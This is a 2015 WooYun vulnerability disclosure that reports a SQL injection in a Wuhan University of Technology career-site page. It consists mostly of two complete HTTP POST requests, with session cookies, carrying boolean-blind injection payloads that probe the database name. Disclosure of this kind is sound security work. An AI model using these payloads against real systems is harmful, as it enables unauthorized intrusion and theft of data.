当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0149649

漏洞标题：武汉理工大学某站存在SQL注入漏洞

相关厂商：武汉理工大学

漏洞作者： miracle

提交时间：2015-10-27 09:23

修复时间：2015-11-01 09:24

公开时间：2015-11-01 09:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-27： 细节已通知厂商并且等待厂商处理中
2015-11-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

POST /quxiang/index.asp?niandu=2015&qiyexingzhi=&shengshi=&xueli=&xueyuan=&zhuanye=%CD%C1%C4%BE%B9%A4%B3%CC%BD%A8%D4%EC%D3%EB%B9%DC%C0%ED HTTP/1.1
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://scc.whut.edu.cn
Cookie: ASP.NET_SessionId=e4ocho55rcn1li55xou13b55; Hm_lvt_5abcacf3da660d5e5fbd8a2a02d45e31=1445691622,1445691653,1445691792,1445691814; Hm_lpvt_5abcacf3da660d5e5fbd8a2a02d45e31=1445691814; CNZZDATA5493968=cnzz_eid%3D876393516-1445686809-http%253A%252F%252Fwww.acunetix-referrer.com%252F%26ntime%3D1445686809; HMACCOUNT=CE6C090170ACFF27; hcdI_2132_saltkey=QN2Gnx6H; hcdI_2132_lastvisit=1445687995; hcdI_2132_lastact=1445691595%09api.php%09js; vjliuxing=%5B%7B%22title%22%3A%22%E6%B9%96%E5%8C%97%E9%AB%98%E6%A0%A1%E6%AF%95%E4%B8%9A%E7%94%9F%E5%B0%B1%E4%B8%9A%E6%9C%8D%E5%8A%A1%E6%9C%88%22%2C%22url%22%3A%22http%3A%2F%2Fscc.whut.edu.cn%2Fvjread.aspx%3Fvj%26id%3Da355e175-6f2d-46fc-9f6e-2795b39a3ec3%22%7D%5D; ncss_stusite=0%40%4042%40%4010497%40%40%E6%AD%A6%E6%B1%89%E7%90%86%E5%B7%A5%E5%A4%A7%E5%AD%A6%40%40%E6%AD%A6%E6%B1%89%E7%90%86%E5%B7%A5%E5%A4%A7%E5%AD%A6%E4%B8%80%E7%AB%99%E5%BC%8F%E6%9C%8D%E5%8A%A1%E7%B3%BB%E7%BB%9F; BIGipServersanheyi=219130048.20480.0000; ASPSESSIONIDAQQACBDC=PGEJFBMBBINLKHPOFKODEFON
Host: scc.whut.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
dwmc=-1'%20OR%20len(db_name())=7%20AND%20000863%3d000863%20or%20'bSUoI4gL'%3d'

为真时页面有搜索结果，db长度为7：

11.png

为假时，页面没有搜索结果：

22.png


#db的第一位为w,ascii应该是被过滤掉了，连续点2次就挂掉了，所以不用ascii了:

POST /quxiang/index.asp?niandu=2015&qiyexingzhi=&shengshi=&xueli=&xueyuan=&zhuanye=%CD%C1%C4%BE%B9%A4%B3%CC%BD%A8%D4%EC%D3%EB%B9%DC%C0%ED HTTP/1.1
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://scc.whut.edu.cn
Cookie: ASP.NET_SessionId=e4ocho55rcn1li55xou13b55; Hm_lvt_5abcacf3da660d5e5fbd8a2a02d45e31=1445691622,1445691653,1445691792,1445691814; Hm_lpvt_5abcacf3da660d5e5fbd8a2a02d45e31=1445691814; CNZZDATA5493968=cnzz_eid%3D876393516-1445686809-http%253A%252F%252Fwww.acunetix-referrer.com%252F%26ntime%3D1445686809; HMACCOUNT=CE6C090170ACFF27; hcdI_2132_saltkey=QN2Gnx6H; hcdI_2132_lastvisit=1445687995; hcdI_2132_lastact=1445691595%09api.php%09js; vjliuxing=%5B%7B%22title%22%3A%22%E6%B9%96%E5%8C%97%E9%AB%98%E6%A0%A1%E6%AF%95%E4%B8%9A%E7%94%9F%E5%B0%B1%E4%B8%9A%E6%9C%8D%E5%8A%A1%E6%9C%88%22%2C%22url%22%3A%22http%3A%2F%2Fscc.whut.edu.cn%2Fvjread.aspx%3Fvj%26id%3Da355e175-6f2d-46fc-9f6e-2795b39a3ec3%22%7D%5D; ncss_stusite=0%40%4042%40%4010497%40%40%E6%AD%A6%E6%B1%89%E7%90%86%E5%B7%A5%E5%A4%A7%E5%AD%A6%40%40%E6%AD%A6%E6%B1%89%E7%90%86%E5%B7%A5%E5%A4%A7%E5%AD%A6%E4%B8%80%E7%AB%99%E5%BC%8F%E6%9C%8D%E5%8A%A1%E7%B3%BB%E7%BB%9F; BIGipServersanheyi=219130048.20480.0000; ASPSESSIONIDAQQACBDC=PGEJFBMBBINLKHPOFKODEFON
Host: scc.whut.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
dwmc=-1'%20OR%20substring(db_name(),1,1)='w'%20AND%20000863%3d000863%20or%20'bSUoI4gL'%3d'

55.png


可以证明存在注入而且还可以获取数据~

漏洞证明：

修复方案：

版权声明：转载请注明来源 miracle@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-11-01 09:24

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论